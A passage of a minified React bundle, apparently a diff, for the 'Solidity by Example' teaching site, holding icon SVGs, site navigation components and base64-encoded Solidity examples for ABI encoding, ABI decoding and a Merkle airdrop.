4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),jC=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[r.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),r.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),AC=({size:s,className:a="",fill:n})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[r.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),r.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),r.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),r.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),r.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),r.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]}),uC="/assets/powered-by-cyfrin-CPb_54II.png",yC="_component_12cj2_1",mC={component:yC},bC=()=>r.jsx("a",{target:"__blank",href:"https://www.cyfrin.io/",children:r.jsx("img",{src:uC,alt:"Powered by Cyfrin",className:mC.component})});function wC(){const{state:s,setTheme:a,toggleSideNav:n}=tt();function l(){a(s.theme=="light"?"dark":"light")}return r.jsxs("div",{className:Es.component,children:[r.jsx(cC,{size:20,className:Es.hamburger,onClick:n}),r.jsxs("div",{className:Es.center,children:[r.jsxs("div",{className:Es.centerInner,children:[r.jsx("a",{href:"/",className:Es.a,children:r.jsx(AC,{className:Es.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),r.jsx("h3",{className:Es.header,children:r.jsx("a",{href:"/",className:Es.a,children:"Solidity by Example"})})]}),r.jsx(bC,{})]}),r.jsx("button",{className:Es.mode,onClick:l,children:s.theme=="dark"?r.jsx(CC,{size:20}):r.jsx(jC,{size:20})})]})}const kC="_component_o1tj5_1",ZC="_row_o1tj5_8",WC="_bar_o1tj5_13",GC="_to_o1tj5_21",BC="_social_o1tj5_24",fC="_updraft_o1tj5_29",VC="_telegram_o1tj5_34",YC="_discord_o1tj5_38",XC="_youTube_o1tj5_42",us={component:kC,row:ZC,bar:WC,to:GC,social:BC,updraft:fC,telegram:VC,discord:YC,youTube:XC},hg="/assets/updraft-D5eZlzRj.png",Ig="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEcAAAAyCAYAAAAOX8ZtAAAABmJLR0QA/wD/AP+gvaeTAAADmUlEQVRoge3bT2wUZRjH8c9Ml39S09IC/uFiRBIwabzVE15oiJBwLBcP3npS4E4IBA/EAwmcCInhoCeJNwgQoDGRC8GESMDYhJRyUAQplZa2tBYdD+9suqmsadHO+6J8kzd5Z3Znnt/+9p1ndt593swCKViFV7EWK8vWjpewouyvLLdfLg9rxZKG0ywt39NIOzL8gdE5r42W++uMY6bs/4pJTOARxsr+RHncOO7hbsbjhXzWrNkLBcvxPt5FF97Ga8L+55VR/Ijv8R0u45uM3+d9hoK+gnsFxf+g3S74cD6mrCj4PAHBMdpXRUgLTc35IgGRMduXzYz5OAFxKbSP6p5kpTHtuI22eSem/y4P8UbGaF7u6PXCmDrtgh/q5vTE05IkPcya0x1RSIp0Q1aEy+lhZDEpsirH+tgqEmV9jjdjq0iUt3Ksi60iUdbl6Kw05NatrFlTachnpDPH6kpD7tjBrVscOMCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6kaRmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",RC="/assets/telegram-DMavHjFx.png",vC="/assets/discord-BqSoMD3G.png";function NC(){return r.jsxs("div",{className:us.component,children:[r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:hg,alt:"cyfrin",className:us.updraft}),r.jsx("a",{href:"https://updraft.cyfrin.io",target:"__blank",children:"Cyfrin Updraft"})]}),r.jsxs("div",{className:us.social,children:[r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:vC,alt:"discord",className:us.discord}),r.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:RC,alt:"telegram",className:us.telegram}),r.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),r.jsxs("div",{className:us.row,children:[r.jsx("img",{src:Ig,alt:"youtube",className:us.youTube}),r.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),r.jsx("div",{className:us.row,children:r.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),r.jsxs("div",{className:us.row,children:[r.jsx("a",{href:"https://github.com/Cyfrin/solidity-by-example.github.io",target:"__blank",children:"source"}),r.jsx("div",{className:us.bar,children:"|"}),r.jsx("a",{href:"https://github.com/Cyfrin/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"license"})]})]})}const HC=({children:s})=>{const{state:a}=tt(),n=W.useRef(null);W.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return r.jsxs("div",{className:Xl.component,children:[r.jsx("div",{ref:n,className:Xl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?r.jsx(eC,{onClick:l}):null}),r.jsxs("div",{className:Xl.main,children:[r.jsx(wC,{}),r.jsxs("div",{className:Xl.children,children:[s,r.jsx(NC,{})]})]})]})},dg=({title:s,description:a,cyfrinLink:n})=>(W.useEffect(()=>{document.title=s;const l=document.querySelector("meta[name='description']");if(l&&l.setAttribute("content",a),n){const p=document.createElement("link");p.rel="canonical",p.href=n,document.head.appendChild(p)}},[]),null),Yo=' ',KC='';function FC(s=[]){W.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var i;if(((i=p.parentElement)==null?void 0:i.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=Yo,c.ariaLabel="Copy to clipboard",p.after(c);function t(I){I.preventDefault(),a(p.childNodes[0]),c.innerHTML=KC}function o(I){I.preventDefault(),c.innerHTML=Yo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(FC([]),r.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),SC="_component_17lfp_1",xC="_content_17lfp_5",JC="_cyfrinLink_17lfp_8",zC="_prevNext_17lfp_11",Rl={component:SC,content:xC,cyfrinLink:JC,prevNext:zC},A=({title:s,version:a,description:n,cyfrinLink:l,html:p,prev:e,next:c,codes:t})=>r.jsxs("div",{className:Rl.component,children:[r.jsx(dg,{title:`${s} | Solidity by Example | ${a}`,description:n,cyfrinLink:l}),r.jsxs("div",{className:Rl.content,children:[r.jsx("h2",{children:s}),l?r.jsxs("div",{className:Rl.cyfrinLink,children:["For the most up to date version of this content, please see"," ",r.jsxs("a",{href:l,target:"__blank",children:[s," (Code Example)"]})," ","on Cyfrin.io"]}):null,r.jsx(MC,{html:p}),r.jsxs("div",{className:Rl.prevNext,children:[e&&r.jsxs("a",{href:e.path,children:["< ",e.title]}),c&&r.jsxs("a",{href:c.path,children:[c.title," >"]})]}),r.jsx("h3",{children:"Try on Remix"}),r.jsx("ul",{children:t.map(({fileName:o,code:i},I)=>r.jsx("li",{children:r.jsx("a",{href:`https://remix.ethereum.org/?#code=${i}`,target:"_blank",rel:"noreferrer",children:o})},I))})]})]}),DC="0.8.26",EC="ABI Decode",QC="ABI decode bytes",TC="https://www.cyfrin.io/glossary/abi-decode-solidity-code-example",UC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnQyNTZbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludDI1NiB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKGJ5dGVzIGNhbGxkYXRhIGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgeCwKICAgICAgICAgICAgYWRkcmVzcyBhZGRyLAogICAgICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciwKICAgICAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15U3RydWN0CiAgICAgICAgKQogICAgewogICAgICAgIC8vICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG15U3RydWN0KSA9IC4uLgogICAgICAgICh4LCBhZGRyLCBhcnIsIG15U3RydWN0KSA9CiAgICAgICAgICAgIGFiaS5kZWNvZGUoZGF0YSwgKHVpbnQyNTYsIGFkZHJlc3MsIHVpbnQyNTZbXSwgTXlTdHJ1Y3QpKTsKICAgIH0KfQo="}],LC=`

abi.encode encodes data into bytes.

abi.decode decodes bytes back into data.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.26;
@@ -99,7 +99,7 @@ Error generating stack: `+e.message+`
             abi.decode(data, (uint256, address, uint256[], MyStruct));
     }
 }
-
`,_C=({prev:s,next:a})=>r.jsx(A,{version:zC,title:DC,description:EC,cyfrinLink:QC,html:UC,prev:s,next:a,codes:TC}),LC="0.8.26",OC="ABI Encode",PC="ABI encode",$C="https://www.cyfrin.io/glossary/abi-enc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lIGlzIG5vdCBjaGVja2VkIC0gKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdHJ1ZSwgYW1vdW50KQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlQ2FsbChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],sj=`
// SPDX-License-Identifier: MIT
+
`,_C=({prev:s,next:a})=>r.jsx(A,{version:DC,title:EC,description:QC,cyfrinLink:TC,html:LC,prev:s,next:a,codes:UC}),OC="0.8.26",PC="ABI Encode",$C="ABI encode",qC="https://www.cyfrin.io/glossary/abi-encode-solidity-code-example",sj=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQyNTYpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7C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lQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],aj=`
// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.26;
 
 interface IERC20 {
@@ -143,7 +143,7 @@ Error generating stack: `+e.message+`
         return abi.encodeCall(IERC20.transfer, (to, amount));
     }
 }
-
`,aj=({prev:s,next:a})=>r.jsx(A,{version:LC,title:OC,description:PC,cyfrinLink:$C,html:sj,prev:s,next:a,codes:qC}),nj="0.8.26",lj="Merkle Airdrop",pj="Airdrop contract using Merkle tree",ej="https://www.cyfrin.io/glossary/merkle-airdrop-solidity-code-example",cj=[{fileName:"Airdrop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCB7TWVya2xlUHJvb2Z9IGZyb20gIi4vTWVya2xlUHJvb2Yuc29sIjsKCmludGVyZmFjZSBJVG9rZW4gewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IEFpcmRyb3AgewogICAgZXZlbnQgQ2xhaW0oYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpOwoKICAgIElUb2tlbiBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwogICAgYnl0ZXMzMiBwdWJsaWMgaW1tdXRhYmxlIHJvb3Q7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gYm9vbCkgcHVibGljIGNsYWltZWQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4sIGJ5dGVzMzIgX3Jvb3QpIHsKICAgICAgICB0b2tlbiA9IElUb2tlbihfdG9rZW4pOwogICAgICAgIHJvb3QgPSBfcm9vdDsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRMZWFmSGFzaChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJs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HJvcC9Ub2tlbi5zb2wiOwoKY29udHJhY3QgQWlyZHJvcFRlc3QgaXMgVGVzdCB7CiAgICBUb2tlbiBwcml2YXRlIHRva2VuOwogICAgQWlyZHJvcCBwcml2YXRlIGFpcmRyb3A7CgogICAgc3RydWN0IFJld2FyZCB7CiAgICAgICAgYWRkcmVzcyB0bzsKICAgICAgICB1aW50MjU2IGFtb3VudDsKICAgIH0KCiAgICBSZXdhcmRbXSBwcml2YXRlIHJld2FyZHM7CiAgICBieXRlczMyW10gcHJpdmF0ZSBoYXNoZXM7CiAgICBtYXBwaW5nKGJ5dGVzMzIgPT4gUmV3YXJkKSBwcml2YXRlIGhhc2hUb1Jld2FyZDsKCiAgICB1aW50MjU2IGNvbnN0YW50IE4gPSAxMDA7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHRva2VuID0gbmV3IFRva2VuKCJ0ZXN0IiwgIlRFU1QiLCAxOCk7CgogICAgICAgIC8vIEluaXRpYWxpemUgdXNlcnMgYW5kIGFpcmRyb3AgYW1vdW50cwogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IE47IGkrKykgewogICAgICAgICAgICByZXdhcmRzLnB1c2goCiAgICAgICAgICAgICAgICBSZXdhcmQoe3RvOiBhZGRyZXNzKHVpbnQxNjAoaSkpLCBhbW91bnQ6IChpICsgMSkgKiAxMDB9KQogICAgICAgICAgICApOwogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZShyZXdhcmRzW2ldLnRvLCByZXdhcmRzW2ldLmFtb3VudCkpKTsKICAgICAgICAgICAgaGFzaFRvUmV3YXJkW2hhc2hlc1tpXV0gPSByZXdhcmRzW2ldOwogICAgICAgIH0KCiAgICAgICAgaGFzaGVzID0gTWVya2xlSGVscGVyLnNvcnQoaGFzaGVzKTsKCiAgICAgICAgYnl0ZXMzMiByb290ID0gTWVya2xlSGVscGVyLmNhbGNSb290KGhhc2hlcyk7CgogICAg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vbiBfZWZmaWNpZW50S2VjY2FrMjU2KGJ5dGVzMzIgYSwgYnl0ZXMzMiBiKQogICAgICAgIHByaXZhdGUKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiB2YWx1ZSkKICAgIHsKICAgICAgICAvLy8gQHNvbGlkaXR5IG1lbW9yeS1zYWZlLWFzc2VtYmx5CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBtc3RvcmUoMHgwMCwgYSkKICAgICAgICAgICAgbXN0b3JlKDB4MjAsIGIpCiAgICAgICAgICAgIHZhbHVlIDo9IGtlY2NhazI1NigweDAwLCAweDQwKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MerkleHelper.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmxpYnJhcnkgTWVya2xlSGVscGVyIHsKICAgIC8vIEJ1YmJsZSBzb3J0CiAgICBmdW5jdGlvbiBzb3J0KGJ5dGVzMzJbXSBtZW1vcnkgYXJyKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzJbXSBtZW1vcnkpCiAgICB7CiAgICAgICAgdWludDI1NiBuID0gYXJyLmxlbmd0aDsKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBuOyBpKyspIHsKICAgICAgICAgICAgZm9yICh1aW50MjU2IGogPSAwOyBqIDwgbiAtIDEgLSBpOyBqKyspIHsKICAgICAgICAgICAgICAgIGlmIChhcnJbal0gPiBhcnJbaiArIDFdKSB7CiAgICAgICAgICAgICAgICAgICAgKGFycltqXSwgYXJyW2ogKyAxXSkgPSAoYXJyW2ogKyAxXSwgYXJyW2pdKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGFycjsKICAgIH0KCiAgICBmdW5jdGlvbiB5dWxLZWNjYWsyNTYoYnl0ZXMzMiBhLCBieXRlczMyIGIpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMiB2KQogICAgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbXN0b3JlKDB4MDAsIGEpCiAgICAgICAgICAgIG1zdG9yZSgweDIwLCBiKQogICAgICAgICAgICB2IDo9IGtlY2NhazI1NigweDAwLCAweDQwKQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBjYWxjUm9vdChieXRlczMyW10gbWVtb3J5IGhhc2hlcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHVpbnQyNTYgbiA9IGhhc2hlcy5sZW5ndGg7CgogICAgICAgIHdoaWxlIChuID4gMSkgewogICAgICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IDA7IGkgPCBuOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGJ5dGVzMzIgbGVmdCA9IGhhc2hlc1tpXTsKICAgICAgICAgICAgICAgIGJ5dGVzMzIgcmlnaHQgPSBoYXNoZXNbaSArIDEgPCBuID8gaSArIDEgOiBpXTsKICAgICAgICAgICAgICAgIChsZWZ0LCByaWdodCkgPSBsZWZ0IDw9IHJpZ2h0ID8gKGxlZnQsIHJpZ2h0KSA6IChyaWdodCwgbGVmdCk7CiAgICAgICAgICAgICAgICBoYXNoZXNbaSA+PiAxXSA9IHl1bEtlY2NhazI1NihsZWZ0LCByaWdodCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgbiA9IChuICsgKG4gJiAxKSkgPj4gMTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoZXNbMF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJvb2YoYnl0ZXMzMltdIG1lbW9yeSBoYXNoZXMsIHVpbnQyNTYgaW5kZXgpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMltdIG1lbW9yeSkKICAgIHsKICAgICAgICBieXRlczMyW10gbWVtb3J5IHByb29mID0gbmV3IGJ5dGVzMzJbXSgwKTsKICAgICAgICB1aW50MjU2IGxlbiA9IDA7CgogICAgICAgIHVpbnQyNTYgbiA9IGhhc2hlcy5sZW5ndGg7CiAgICAgICAgdWludDI1NiBrID0gaW5kZXg7CgogICAgICAgIHdoaWxlIChuID4gMSkgewogICAgICAgICAgICAvLyBHZXQgcHJvb2YgZm9yIHRoaXMgbGV2ZWwKICAgICAgICAgICAgdWludDI1NiBqID0gayAmIDEgPT0gMSA/IGsgLSAxIDogKGsgKyAxIDwgbiA/IGsgKyAxIDogayk7CiAgICAgICAgICAgIGJ5dGVzMzIgaCA9IGhhc2hlc1tqXTsKCiAgICAgICAgICAgIC8vIHByb29mLnB1c2goaCkKICAgICAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAgICAgbGVuIDo9IGFkZChsZW4sIDEpCiAgICAgICAgICAgICAgICBsZXQgcG9zIDo9IGFkZChwcm9vZiwgc2hsKDUsIGxlbikpCiAgICAgICAgICAgICAgICBtc3RvcmUocG9zLCBoKQogICAgICAgICAgICAgICAgbXN0b3JlKHByb29mLCBsZW4pCiAgICAgICAgICAgICAgICBtc3RvcmUoMHg0MCwgYWRkKHBvcywgMHgyMCkpCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGsgPj49IDE7CgogICAgICAgICAgICAvLyBDYWxjdWxhdGUgbmV4dCBsZXZlbCBvZiBoYXNoZXMKICAgICAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgbjsgaSArPSAyKSB7CiAgICAgICAgICAgICAgICBieXRlczMyIGxlZnQgPSBoYXNoZXNbaV07CiAgICAgICAgICAgICAgICBieXRlczMyIHJpZ2h0ID0gaGFzaGVzW2kgKyAxIDwgbiA/IGkgKyAxIDogaV07CiAgICAgICAgICAgICAgICAobGVmdCwgcmlnaHQpID0gbGVmdCA8PSByaWdodCA/IChsZWZ0LCByaWdodCkgOiAocmlnaHQsIGxlZnQpOwogICAgICAgICAgICAgICAgaGFzaGVzW2kgPj4gMV0gPSB5dWxLZWNjYWsyNTYobGVmdCwgcmlnaHQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIG4gPSAobiArIChuICYgMSkpID4+IDE7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcHJvb2Y7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KGJ5dGVzMzJbXSBtZW1vcnkgcHJvb2YsIGJ5dGVzMzIgcm9vdCwgYnl0ZXMzMiBsZWFmKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgYnl0ZXMzMiBoID0gbGVhZjsKCiAgICAgICAgZm9yICh1aW50MjU2IGkgPSAwOyBpIDwgcHJvb2YubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJ5dGVzMzIgbGVmdCwgYnl0ZXMzMiByaWdodCkgPQogICAgICAgICAgICAgICAgaCA8PSBwcm9vZltpXSA/IChoLCBwcm9vZltpXSkgOiAocHJvb2ZbaV0sIGgpOwogICAgICAgICAgICBoID0geXVsS2VjY2FrMjU2KGxlZnQsIHJpZ2h0KTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoID09IHJvb3Q7CiAgICB9Cn0K"},{fileName:"MerkleProof.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVAovLyBPcGVuWmVwcGVsaW4gQ29udHJhY3RzCgpwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCB7SGFzaGVzfSBmcm9tICIuL0hhc2hlcy5zb2wiOwoKbGlicmFyeSBNZXJrbGVQcm9vZiB7CiAgICBmdW5jdGlvbiB2ZXJpZnkoYnl0ZXMzMltdIG1lbW9yeSBwcm9vZiwgYnl0ZXMzMiByb290LCBieXRlczMyIGxlYWYpCiAgICAgICAgaW50ZXJuY